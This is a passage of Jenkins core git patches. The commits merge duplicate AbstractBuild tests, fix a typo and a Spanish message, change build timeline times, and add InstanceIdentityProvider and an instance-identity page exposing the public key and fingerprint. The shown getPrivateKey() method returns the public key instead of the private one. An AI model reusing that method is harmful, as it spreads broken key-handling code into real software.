DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package hudson.model; + +import com.gargoylesoftware.htmlunit.Page; +import hudson.EnvVars; +import hudson.Launcher; +import hudson.model.queue.QueueTaskFuture; +import hudson.slaves.EnvironmentVariablesNodeProperty; +import hudson.tasks.Builder; +import java.io.IOException; +import java.util.Arrays; +import java.util.Collections; +import java.util.Set; +import java.util.TreeSet; +import static org.hamcrest.Matchers.*; +import static org.junit.Assert.*; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.CaptureEnvironmentBuilder; +import org.jvnet.hudson.test.FailureBuilder; +import org.jvnet.hudson.test.FakeChangeLogSCM; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.TestBuilder; +import org.jvnet.hudson.test.TestExtension; +import org.jvnet.hudson.test.UnstableBuilder; + +/** + * Unit tests of {@link AbstractBuild}. + */ +public class AbstractBuildTest { + + @Rule + public JenkinsRule j = new JenkinsRule(); + + @Test + @Issue("JENKINS-30730") + @SuppressWarnings("deprecation") + public void reportErrorShouldNotFailForNonPublisherClass() throws Exception { + FreeStyleProject prj = j.createFreeStyleProject(); + ErrorneousJobProperty errorneousJobProperty = new ErrorneousJobProperty(); + prj.addProperty(errorneousJobProperty); + QueueTaskFuture future = prj.scheduleBuild2(0); + assertThat("Build should be actually scheduled by Jenkins", future, notNullValue()); + FreeStyleBuild build = future.get(); + j.assertLogContains(ErrorneousJobProperty.ERROR_MESSAGE, build); + j.assertLogNotContains(ClassCastException.class.getName(), build); + } + + /** + * Job property, which always fails with an exception. + */ + public static class ErrorneousJobProperty extends JobProperty { + + public static final String ERROR_MESSAGE = "This publisher fails by design"; + + @Override + public boolean perform(AbstractBuild build, Launcher launcher, BuildListener listener) throws InterruptedException, IOException { + throw new IOException(ERROR_MESSAGE); + } + + @TestExtension("reportErrorShouldNotFailForNonPublisherClass") + public static class DescriptorImpl extends JobPropertyDescriptor {} + } + + @Test + public void variablesResolved() throws Exception { + FreeStyleProject project = j.createFreeStyleProject(); + j.jenkins.getNodeProperties().add(new EnvironmentVariablesNodeProperty(new EnvironmentVariablesNodeProperty.Entry("KEY1", "value"), new EnvironmentVariablesNodeProperty.Entry("KEY2", "$KEY1"))); + CaptureEnvironmentBuilder builder = new CaptureEnvironmentBuilder(); + project.getBuildersList().add(builder); + + j.buildAndAssertSuccess(project); + + EnvVars envVars = builder.getEnvVars(); + assertEquals("value", envVars.get("KEY1")); + assertEquals("value", envVars.get("KEY2")); + } + + /** + * Makes sure that raw console output doesn't get affected by XML escapes. + */ + @Test + public void rawConsoleOutput() throws Exception { + final String out = "&"; + + FreeStyleProject p = j.createFreeStyleProject(); + p.getBuildersList().add(new TestBuilder() { + @Override public boolean perform(AbstractBuild build, Launcher launcher, BuildListener listener) throws InterruptedException, IOException { + listener.getLogger().println(out); + return true; + } + }); + FreeStyleBuild b = j.buildAndAssertSuccess(p); + Page rsp = j.createWebClient().goTo(b.getUrl() + "/consoleText", "text/plain"); + assertThat(rsp.getWebResponse().getContentAsString(), containsString(out)); + } + + private void assertCulprits(AbstractBuild b, String... expectedIds) { + Set actual = new TreeSet<>(); + for (User u : b.getCulprits()) { + actual.add(u.getId()); + } + assertEquals(actual, new TreeSet<>(Arrays.asList(expectedIds))); + } + + @Test + public void culprits() throws Exception { + FreeStyleProject p = j.createFreeStyleProject(); + FakeChangeLogSCM scm = new FakeChangeLogSCM(); + p.setScm(scm); + + // 1st build, successful, no culprits + scm.addChange().withAuthor("alice"); + FreeStyleBuild b = j.buildAndAssertSuccess(p); + assertCulprits(b, "alice"); + + // 2nd build + scm.addChange().withAuthor("bob"); + p.getBuildersList().add(new FailureBuilder()); + b = j.assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + assertCulprits(b, "bob"); + + // 3rd build. bob continues to be in culprit + scm.addChange().withAuthor("charlie"); + b = j.assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + assertCulprits(b, "bob", "charlie"); + + // 4th build, unstable. culprit list should continue + scm.addChange().withAuthor("dave"); + p.getBuildersList().replaceBy(Collections.singleton(new UnstableBuilder())); + b = j.assertBuildStatus(Result.UNSTABLE, p.scheduleBuild2(0).get()); + assertCulprits(b, "bob", "charlie", "dave"); + + // 5th build, unstable. culprit list should continue + scm.addChange().withAuthor("eve"); + b = j.assertBuildStatus(Result.UNSTABLE, p.scheduleBuild2(0).get()); + assertCulprits(b, "bob", "charlie", "dave", "eve"); + + // 6th build, success, accumulation continues up to this point + scm.addChange().withAuthor("fred"); + p.getBuildersList().clear(); + b = j.buildAndAssertSuccess(p); + assertCulprits(b, "bob", "charlie", "dave", "eve", "fred"); + + // 7th build, back to empty culprits + scm.addChange().withAuthor("george"); + b = j.buildAndAssertSuccess(p); + assertCulprits(b, "george"); + } + + @Issue("JENKINS-19920") + @Test + public void lastBuildNextBuild() throws Exception { + FreeStyleProject p = j.createFreeStyleProject(); + FreeStyleBuild b1 = j.buildAndAssertSuccess(p); + FreeStyleBuild b2 = j.buildAndAssertSuccess(p); + assertEquals(b2, p.getLastBuild()); + b2.getNextBuild(); // force this to be initialized + b2.delete(); + assertEquals(b1, p.getLastBuild()); + b1 = p.getLastBuild(); + assertNull(b1.getNextBuild()); + } + + @Test + public void doNotInterruptBuildAbruptlyWhenExceptionThrownFromBuildStep() throws Exception { + FreeStyleProject p = j.createFreeStyleProject(); + p.getBuildersList().add(new ThrowBuilder()); + FreeStyleBuild build = p.scheduleBuild2(0).get(); + j.assertBuildStatus(Result.FAILURE, build); + j.assertLogContains("Finished: FAILURE", build); + j.assertLogContains("Build step 'ThrowBuilder' marked build as failure", build); + } + + @Test + public void fixEmptyDisplayName() throws Exception { + FreeStyleProject p = j.createFreeStyleProject("foo"); + p.setDisplayName(""); + assertEquals("An empty display name should be ignored.", "foo", p.getDisplayName()); + } + + @Test + public void fixBlankDisplayName() throws Exception { + FreeStyleProject p = j.createFreeStyleProject("foo"); + p.setDisplayName(" "); + assertEquals("A blank display name should be ignored.", "foo", p.getDisplayName()); + } + + @Test + public void validDisplayName() throws Exception { + FreeStyleProject p = j.createFreeStyleProject("foo"); + p.setDisplayName("bar"); + assertEquals("A non-blank display name should be used.", "bar", p.getDisplayName()); + } + + @Test + public void trimValidDisplayName() throws Exception { + FreeStyleProject p = j.createFreeStyleProject("foo"); + p.setDisplayName(" bar "); + assertEquals("A non-blank display name with whitespace should be trimmed.", "bar", p.getDisplayName()); + } + + private static class ThrowBuilder extends Builder { + @Override public boolean perform(AbstractBuild build, Launcher launcher, BuildListener listener) throws InterruptedException, IOException { + throw new NullPointerException(); + } + @TestExtension("doNotInterruptBuildAbruptlyWhenExceptionThrownFromBuildStep") + public static class DescriptorImpl extends Descriptor {} + } + +} diff --git a/test/src/test/java/hudson/model/AbstractBuildTest2.java b/test/src/test/java/hudson/model/AbstractBuildTest2.java deleted file mode 100644 index 9f3504be0a..0000000000 --- a/test/src/test/java/hudson/model/AbstractBuildTest2.java +++ /dev/null @@ -1,76 +0,0 @@ -/* - * The MIT License - * - * Copyright (c) 2015 CloudBees, Inc. - * - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in - * all copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN - * THE SOFTWARE. - */ -package hudson.model; - -import hudson.Launcher; -import hudson.model.queue.QueueTaskFuture; -import java.io.IOException; -import org.junit.Rule; -import org.junit.Test; -import org.jvnet.hudson.test.Issue; -import org.jvnet.hudson.test.JenkinsRule; -import org.jvnet.hudson.test.TestExtension; - -import static org.hamcrest.Matchers.*; -import static org.junit.Assert.assertThat; - -/** - * Unit tests of {@link AbstractBuild}. - * @author Oleg Nenashev - */ -public class AbstractBuildTest2 { - - @Rule - public JenkinsRule rule = new JenkinsRule(); - - @Test - @Issue("JENKINS-30730") - @SuppressWarnings("deprecation") - public void reportErrorShouldNotFailForNonPublisherClass() throws Exception { - FreeStyleProject prj = rule.createFreeStyleProject(); - ErrorneousJobProperty errorneousJobProperty = new ErrorneousJobProperty(); - prj.addProperty(errorneousJobProperty); - QueueTaskFuture future = prj.scheduleBuild2(0); - assertThat("Build should be actually scheduled by Jenkins", future, notNullValue()); - FreeStyleBuild build = future.get(); - rule.assertLogContains(ErrorneousJobProperty.ERROR_MESSAGE, build); - rule.assertLogNotContains(ClassCastException.class.getName(), build); - } - - /** - * Job property, which always fails with an exception. - */ - public static class ErrorneousJobProperty extends JobProperty { - - public static final String ERROR_MESSAGE = "This publisher fails by design"; - - @Override - public boolean perform(AbstractBuild build, Launcher launcher, BuildListener listener) throws InterruptedException, IOException { - throw new IOException(ERROR_MESSAGE); - } - - @TestExtension("reportErrorShouldNotFailForNonPublisherClass") - public static class DescriptorImpl extends JobPropertyDescriptor {} - } -} diff --git a/test/src/test/java/hudson/model/ParametersActionTest2.java b/test/src/test/java/hudson/model/ParametersAction2Test.java similarity index 99% rename from test/src/test/java/hudson/model/ParametersActionTest2.java rename to test/src/test/java/hudson/model/ParametersAction2Test.java index 10e4a2af39..32a9d59b8f 100644 --- a/test/src/test/java/hudson/model/ParametersActionTest2.java +++ b/test/src/test/java/hudson/model/ParametersAction2Test.java @@ -16,7 +16,7 @@ import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; -public class ParametersActionTest2 { +public class ParametersAction2Test { @Rule public JenkinsRule j = new JenkinsRule(); diff --git a/test/src/test/resources/hudson/model/ParametersActionTest2/backwardCompatibility.zip b/test/src/test/resources/hudson/model/ParametersAction2Test/backwardCompatibility.zip similarity index 100% rename from test/src/test/resources/hudson/model/ParametersActionTest2/backwardCompatibility.zip rename to test/src/test/resources/hudson/model/ParametersAction2Test/backwardCompatibility.zip -- GitLab From 9a056c591b40c6178c93e64f864f213697cb5195 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 25 Jul 2016 18:46:35 -0400 Subject: [PATCH 122/811] Correcting a typo in the original test. --- test/src/test/java/hudson/model/AbstractBuildTest.java | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/test/src/test/java/hudson/model/AbstractBuildTest.java b/test/src/test/java/hudson/model/AbstractBuildTest.java index 15cbc0b4ff..99cffb8718 100644 --- a/test/src/test/java/hudson/model/AbstractBuildTest.java +++ b/test/src/test/java/hudson/model/AbstractBuildTest.java @@ -60,19 +60,19 @@ public class AbstractBuildTest { @SuppressWarnings("deprecation") public void reportErrorShouldNotFailForNonPublisherClass() throws Exception { FreeStyleProject prj = j.createFreeStyleProject(); - ErrorneousJobProperty errorneousJobProperty = new ErrorneousJobProperty(); + ErroneousJobProperty errorneousJobProperty = new ErroneousJobProperty(); prj.addProperty(errorneousJobProperty); QueueTaskFuture future = prj.scheduleBuild2(0); assertThat("Build should be actually scheduled by Jenkins", future, notNullValue()); FreeStyleBuild build = future.get(); - j.assertLogContains(ErrorneousJobProperty.ERROR_MESSAGE, build); + j.assertLogContains(ErroneousJobProperty.ERROR_MESSAGE, build); j.assertLogNotContains(ClassCastException.class.getName(), build); } /** * Job property, which always fails with an exception. */ - public static class ErrorneousJobProperty extends JobProperty { + public static class ErroneousJobProperty extends JobProperty { public static final String ERROR_MESSAGE = "This publisher fails by design"; -- GitLab From 3956994c286941dab2da810c649269d637dc98d9 Mon Sep 17 00:00:00 2001 From: Ivan Meredith Date: Tue, 26 Jul 2016 18:39:33 +1200 Subject: [PATCH 123/811] Remove trailing space from Hudson.DisplayName (#2471) --- core/src/main/resources/jenkins/model/Messages_es.properties | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/resources/jenkins/model/Messages_es.properties b/core/src/main/resources/jenkins/model/Messages_es.properties index 73760e5fe6..ac1f233aed 100644 --- a/core/src/main/resources/jenkins/model/Messages_es.properties +++ b/core/src/main/resources/jenkins/model/Messages_es.properties @@ -24,7 +24,7 @@ Hudson.BadPortNumber=N\u00famero erroneo de puerto {0} Hudson.Computer.Caption=Principal Hudson.Computer.DisplayName=principal Hudson.ControlCodeNotAllowed=El c\u00f3digo de control {0} no est\u00e1 permitido -Hudson.DisplayName=Jenkins +Hudson.DisplayName=Jenkins Hudson.JobAlreadyExists=Una tarea con el nombre ''{0}'' ya existe Hudson.NoJavaInPath=No se encuentra el comando java en el ''PATH''. Quiz\u00e1s necesite configurar JDKs? Hudson.NoName=No se ha especificado un nombre -- GitLab From 9e1d1b0ab6aece09f23140701067dfc501b34a20 Mon Sep 17 00:00:00 2001 From: ikedam Date: Tue, 26 Jul 2016 15:41:19 +0900 Subject: [PATCH 124/811] [FIXED JENKINS-36732] Use build start times instead of build scheduled times in `BuildTimelineWidget`. (#2460) --- core/src/main/java/hudson/model/BuildTimelineWidget.java | 4 ++-- core/src/main/java/jenkins/widgets/BuildListTable.java | 5 +++++ core/src/main/resources/lib/hudson/buildListTable.jelly | 2 +- 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/hudson/model/BuildTimelineWidget.java b/core/src/main/java/hudson/model/BuildTimelineWidget.java index 9b8bc849b8..31810b5f5e 100644 --- a/core/src/main/java/hudson/model/BuildTimelineWidget.java +++ b/core/src/main/java/hudson/model/BuildTimelineWidget.java @@ -62,8 +62,8 @@ public class BuildTimelineWidget { TimelineEventList result = new TimelineEventList(); for (Run r : builds.byTimestamp(min,max)) { Event e = new Event(); - e.start = r.getTime(); - e.end = new Date(r.timestamp+r.getDuration()); + e.start = new Date(r.getStartTimeInMillis()); + e.end = new Date(r.getStartTimeInMillis()+r.getDuration()); e.title = r.getFullDisplayName(); // what to put in the description? // e.description = "Longish description of event "+r.getFullDisplayName(); diff --git a/core/src/main/java/jenkins/widgets/BuildListTable.java b/core/src/main/java/jenkins/widgets/BuildListTable.java index ec8e60e368..7be989feaf 100644 --- a/core/src/main/java/jenkins/widgets/BuildListTable.java +++ b/core/src/main/java/jenkins/widgets/BuildListTable.java @@ -25,9 +25,13 @@ package jenkins.widgets; import hudson.Functions; +import hudson.Util; import hudson.model.BallColor; import hudson.model.Run; import net.sf.json.JSONObject; + +import java.util.Date; + import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.DoNotUse; @@ -45,6 +49,7 @@ public class BuildListTable extends RunListProgressiveRendering { element.put("displayName", build.getDisplayName()); element.put("timestampString", build.getTimestampString()); element.put("timestampString2", build.getTimestampString2()); + element.put("timestampString3", Util.XS_DATETIME_FORMATTER.format(new Date(build.getStartTimeInMillis()))); Run.Summary buildStatusSummary = build.getBuildStatusSummary(); element.put("buildStatusSummaryWorse", buildStatusSummary.isWorse); element.put("buildStatusSummaryMessage", buildStatusSummary.message); diff --git a/core/src/main/resources/lib/hudson/buildListTable.jelly b/core/src/main/resources/lib/hudson/buildListTable.jelly index 80cb00dad0..9465606ddb 100644 --- a/core/src/main/resources/lib/hudson/buildListTable.jelly +++ b/core/src/main/resources/lib/hudson/buildListTable.jelly @@ -47,7 +47,7 @@ THE SOFTWARE. insert('\u00A0'). insert(new Element('a', {href: '${rootURL}/' + e.url, 'class': 'model-link inside'}). update(e.displayName.escapeHTML()))); - tr.insert(new Element('td', {data: e.timestampString2, tooltip: '${%Click to center timeline on event}', onclick: 'javascript:tl.getBand(0).scrollToCenter(Timeline.DateTime.parseGregorianDateTime("' + e.timestampString2 + '"))'}). + tr.insert(new Element('td', {data: e.timestampString2, tooltip: '${%Click to center timeline on event}', onclick: 'javascript:tl.getBand(0).scrollToCenter(Timeline.DateTime.parseGregorianDateTime("' + e.timestampString3 + '"))'}). update(e.timestampString.escapeHTML())); tr.insert(new Element('td', {style: e.buildStatusSummaryWorse ? 'color: red' : ''}). update(e.buildStatusSummaryMessage.escapeHTML())); -- GitLab From e48cb2994245bdbb52e8c687a75468a90d964a76 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Tue, 26 Jul 2016 15:08:02 +0100 Subject: [PATCH 125/811] [JENKINS-36871] Need to be able to access the instance identity from core --- .../identity/InstanceIdentityProvider.java | 102 ++++++++++++++++++ 1 file changed, 102 insertions(+) create mode 100644 core/src/main/java/jenkins/model/identity/InstanceIdentityProvider.java diff --git a/core/src/main/java/jenkins/model/identity/InstanceIdentityProvider.java b/core/src/main/java/jenkins/model/identity/InstanceIdentityProvider.java new file mode 100644 index 0000000000..6bd05190e0 --- /dev/null +++ b/core/src/main/java/jenkins/model/identity/InstanceIdentityProvider.java @@ -0,0 +1,102 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.model.identity; + +import hudson.ExtensionList; +import hudson.ExtensionPoint; +import java.security.KeyPair; +import java.security.PrivateKey; +import java.security.PublicKey; +import java.security.cert.X509Certificate; +import javax.annotation.CheckForNull; + +/** + * A source of instance identity. + * + * @param the type of public key. + * @param the type of private key. + * @since FIXME + */ +public abstract class InstanceIdentityProvider implements + ExtensionPoint { + /** + * Gets the {@link KeyPair} that comprises the instance identity. + * + * @return the {@link KeyPair} that comprises the instance identity. + */ + @CheckForNull + public abstract KeyPair getKeyPair(); + + /** + * Shortcut to {@link KeyPair#getPublic()}. + * + * @return the public key. + */ + @CheckForNull + public PUB getPublicKey() { + KeyPair keyPair = getKeyPair(); + return keyPair == null ? null : (PUB) keyPair.getPublic(); + } + + /** + * Shortcut to {@link KeyPair#getPrivate()}. + * + * @return the private key. + */ + @CheckForNull + public PRIV getPrivateKey() { + KeyPair keyPair = getKeyPair(); + return keyPair == null ? null : (PRIV) keyPair.getPublic(); + } + + /** + * Gets the self-signed {@link X509Certificate} that is associated with this identity. The certificate + * will must be currently valid. Repeated calls to this method may result in new certificates being generated. + * + * @return the certificate. + */ + @CheckForNull + public abstract X509Certificate getCertificate(); + + /** + * Gets the provider of the required identity type. + * + * @param keyType the type of private key. + * @param the type of public key. + * @param the type of private key. + * @return the provider or {@code null} if no provider of the specified type is available. + */ + @CheckForNull + @SuppressWarnings("unchecked") + public static InstanceIdentityProvider get( + Class keyType) { + for (InstanceIdentityProvider provider : ExtensionList.lookup(InstanceIdentityProvider.class)) { + KeyPair keyPair = provider.getKeyPair(); + if (keyPair != null && keyType.isInstance(keyPair.getPrivate())) { + return (InstanceIdentityProvider) provider; + } + } + return null; + } +} -- GitLab From 624c0b13bd35ad2ebb4a8b34179dfbb38918f91b Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Tue, 26 Jul 2016 15:20:29 +0100 Subject: [PATCH 126/811] [JENKINS-36871] Let users discover the instance identity fingerprint - We will be asking users who wish to ensure a secure path for their JNLP agents to validate the fingerprint before initial connection (which leverages TLS encryption of the http end-point and trust by the JNLP agent of the Jenkins Master's HTTPS TLS certificate) - The fingerprint will then be used to validate the JNLP self-signed TLS certificate in order to ensure that the agent is talking to the master without fear of MiM - We need to use self-signed TLS certificates for the JNLP connection as we need these to be unique to the Jenkins master and if we let users provide their own then they would end up re-using... in any case it is simpler to leverage the strength of the HTTPS TLS certificate as that is at least the one certificate that users have a hope of understanding how to validate. - Thus we need a mechanism for users to verify the fingerprint. This root action provides that mechanism --- core/src/main/java/jenkins/model/Jenkins.java | 3 +- .../model/identity/IdentityRootAction.java | 81 +++++++++++++++++++ .../identity/IdentityRootAction/index.jelly | 22 +++++ .../IdentityRootAction/index.properties | 3 + 4 files changed, 108 insertions(+), 1 deletion(-) create mode 100644 core/src/main/java/jenkins/model/identity/IdentityRootAction.java create mode 100644 core/src/main/resources/jenkins/model/identity/IdentityRootAction/index.jelly create mode 100644 core/src/main/resources/jenkins/model/identity/IdentityRootAction/index.properties diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 25481a0bb2..e01d3085f7 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -4796,7 +4796,8 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve "/signup", "/tcpSlaveAgentListener", "/federatedLoginService/", - "/securityRealm" + "/securityRealm", + "/instance-identity" ); /** diff --git a/core/src/main/java/jenkins/model/identity/IdentityRootAction.java b/core/src/main/java/jenkins/model/identity/IdentityRootAction.java new file mode 100644 index 0000000000..9a3394c72e --- /dev/null +++ b/core/src/main/java/jenkins/model/identity/IdentityRootAction.java @@ -0,0 +1,81 @@ +package jenkins.model.identity; + +import hudson.Extension; +import hudson.model.UnprotectedRootAction; +import java.security.interfaces.RSAPrivateKey; +import java.security.interfaces.RSAPublicKey; +import org.apache.commons.codec.Charsets; +import org.apache.commons.codec.binary.Base64; +import org.jenkinsci.remoting.util.KeyUtils; + +/** + * A simple root action that exposes the public key to users so that they do not need to search for the + * {@code X-Instance-Identity} response header, also exposes the fingerprint of the public key so that people + * can verify a fingerprint of a master before connecting to it. + * + * @since FIXME + */ +@Extension +public class IdentityRootAction implements UnprotectedRootAction { + /** + * {@inheritDoc} + */ + @Override + public String getIconFileName() { + return null; + } + + /** + * {@inheritDoc} + */ + @Override + public String getDisplayName() { + return null; + } + + /** + * {@inheritDoc} + */ + @Override + public String getUrlName() { + return InstanceIdentityProvider.get(RSAPrivateKey.class) == null ? null : "instance-identity"; + } + + /** + * Returns the PEM encoded public key. + * + * @return the PEM encoded public key. + */ + public String getPublicKey() { + InstanceIdentityProvider provider = + InstanceIdentityProvider.get(RSAPrivateKey.class); + RSAPublicKey key = provider == null ? null : provider.getPublicKey(); + if (key == null) { + return null; + } + byte[] encoded = Base64.encodeBase64(key.getEncoded()); + int index = 0; + StringBuilder buf = new StringBuilder(encoded.length + 20); + while (index < encoded.length) { + int len = Math.min(64, encoded.length - index); + if (index > 0) { + buf.append("\n"); + } + buf.append(new String(encoded, index, len, Charsets.UTF_8)); + index += len; + } + return String.format("-----BEGIN PUBLIC KEY-----%n%s%n-----END PUBLIC KEY-----%n", buf.toString()); + } + + /** + * Returns the fingerprint of the public key. + * + * @return the fingerprint of the public key. + */ + public String getFingerprint() { + InstanceIdentityProvider provider = + InstanceIdentityProvider.get(RSAPrivateKey.class); + RSAPublicKey key = provider == null ? null : provider.getPublicKey(); + return key == null ? null : KeyUtils.fingerprint(key); + } +} diff --git a/core/src/main/resources/jenkins/model/identity/IdentityRootAction/index.jelly b/core/src/main/resources/jenkins/model/identity/IdentityRootAction/index.jelly new file mode 100644 index 0000000000..dbd7dfd51b --- /dev/null +++ b/core/src/main/resources/jenkins/model/identity/IdentityRootAction/index.jelly @@ -0,0 +1,22 @@ + + + + + + + + + + + + +

      ${%Instance Identity}

      +

      ${%blurb}

      +

      ${%Public Key}

      +
      ${it.publicKey}
      +

      ${%Fingerprint}

      +
      ${it.fingerprint}
      + + + diff --git a/core/src/main/resources/jenkins/model/identity/IdentityRootAction/index.properties b/core/src/main/resources/jenkins/model/identity/IdentityRootAction/index.properties new file mode 100644 index 0000000000..618080811c --- /dev/null +++ b/core/src/main/resources/jenkins/model/identity/IdentityRootAction/index.properties @@ -0,0 +1,3 @@ +blurb=Every Jenkins instance has a pair of public and private keys used to uniquely identify that Jenkins instance. \ + The public key is published in the X-Instance-Identity header for web requests against the Jenkins UI. \ + You can also find the key and the fingerprint of the key on this page. -- GitLab From e6c6de4b0eea3de74beff4406611f5a2c23fbc15 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Tue, 26 Jul 2016 15:23:26 +0100 Subject: [PATCH 127/811] [JENKINS-36871] `null` is the correct return value to indicate protocol disabled --- core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java index 00ae97001d..9ef7789bbf 100644 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java @@ -39,8 +39,7 @@ public class JnlpSlaveAgentProtocol3 extends AgentProtocol { @Override public String getName() { - if (ENABLED) return "JNLP3-connect"; - else return "JNLP3-disabled"; + return ENABLED ? "JNLP3-connect" : null; } @Override -- GitLab From 16b0aede6ae4b68f223bf3dd972ddef3b982429c Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Tue, 26 Jul 2016 15:24:15 +0100 Subject: [PATCH 128/811] [JENKINS-36871] Advertise the instance identity for the TCP Agent details page --- .../java/hudson/TcpSlaveAgentListener.java | 20 +++++++++++++++++++ .../hudson/TcpSlaveAgentListener/index.jelly | 2 ++ 2 files changed, 22 insertions(+) diff --git a/core/src/main/java/hudson/TcpSlaveAgentListener.java b/core/src/main/java/hudson/TcpSlaveAgentListener.java index e66778a008..1f4d4ba79c 100644 --- a/core/src/main/java/hudson/TcpSlaveAgentListener.java +++ b/core/src/main/java/hudson/TcpSlaveAgentListener.java @@ -23,6 +23,11 @@ */ package hudson; +import java.nio.charset.Charset; +import java.security.interfaces.RSAPublicKey; +import java.security.interfaces.RSAPrivateKey; +import javax.annotation.Nullable; +import jenkins.model.identity.InstanceIdentityProvider; import jenkins.util.SystemProperties; import hudson.slaves.OfflineCause; import java.io.DataOutputStream; @@ -44,6 +49,7 @@ import java.net.Socket; import java.nio.channels.ServerSocketChannel; import java.util.logging.Level; import java.util.logging.Logger; +import org.apache.commons.codec.binary.Base64; import org.apache.commons.io.IOUtils; /** @@ -103,6 +109,20 @@ public final class TcpSlaveAgentListener extends Thread { return CLI_PORT != null ? CLI_PORT : getPort(); } + /** + * Gets the Base64 encoded public key that forms part of this instance's identity keypair. + * @return the Base64 encoded public key + * @since FIXME + */ + @Nullable + public String getIdentityPublicKey() { + InstanceIdentityProvider provider = + InstanceIdentityProvider.get(RSAPrivateKey.class); + RSAPublicKey key = provider == null ? null : provider.getPublicKey(); + return key == null ? null : new String(Base64.encodeBase64(key.getEncoded()), Charset.forName("UTF-8")); + } + + @Override public void run() { try { diff --git a/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly b/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly index 99585e9896..1aaa2aa4b3 100644 --- a/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly +++ b/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly @@ -34,6 +34,8 @@ THE SOFTWARE. if the host name is overriden, advertise that as well --> + + Jenkins -- GitLab From 0e353c72e201bbec1516835a6413f9e10a5a9d63 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Tue, 26 Jul 2016 17:12:55 +0100 Subject: [PATCH 129/811] [JENKINS-36871] Address code review comments --- .../model/identity/IdentityRootAction.java | 24 +++++++++++++++-- .../identity/InstanceIdentityProvider.java | 27 ++++++++++++------- 2 files changed, 40 insertions(+), 11 deletions(-) diff --git a/core/src/main/java/jenkins/model/identity/IdentityRootAction.java b/core/src/main/java/jenkins/model/identity/IdentityRootAction.java index 9a3394c72e..33ec863350 100644 --- a/core/src/main/java/jenkins/model/identity/IdentityRootAction.java +++ b/core/src/main/java/jenkins/model/identity/IdentityRootAction.java @@ -2,11 +2,12 @@ package jenkins.model.identity; import hudson.Extension; import hudson.model.UnprotectedRootAction; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; import java.security.interfaces.RSAPrivateKey; import java.security.interfaces.RSAPublicKey; import org.apache.commons.codec.Charsets; import org.apache.commons.codec.binary.Base64; -import org.jenkinsci.remoting.util.KeyUtils; /** * A simple root action that exposes the public key to users so that they do not need to search for the @@ -76,6 +77,25 @@ public class IdentityRootAction implements UnprotectedRootAction { InstanceIdentityProvider provider = InstanceIdentityProvider.get(RSAPrivateKey.class); RSAPublicKey key = provider == null ? null : provider.getPublicKey(); - return key == null ? null : 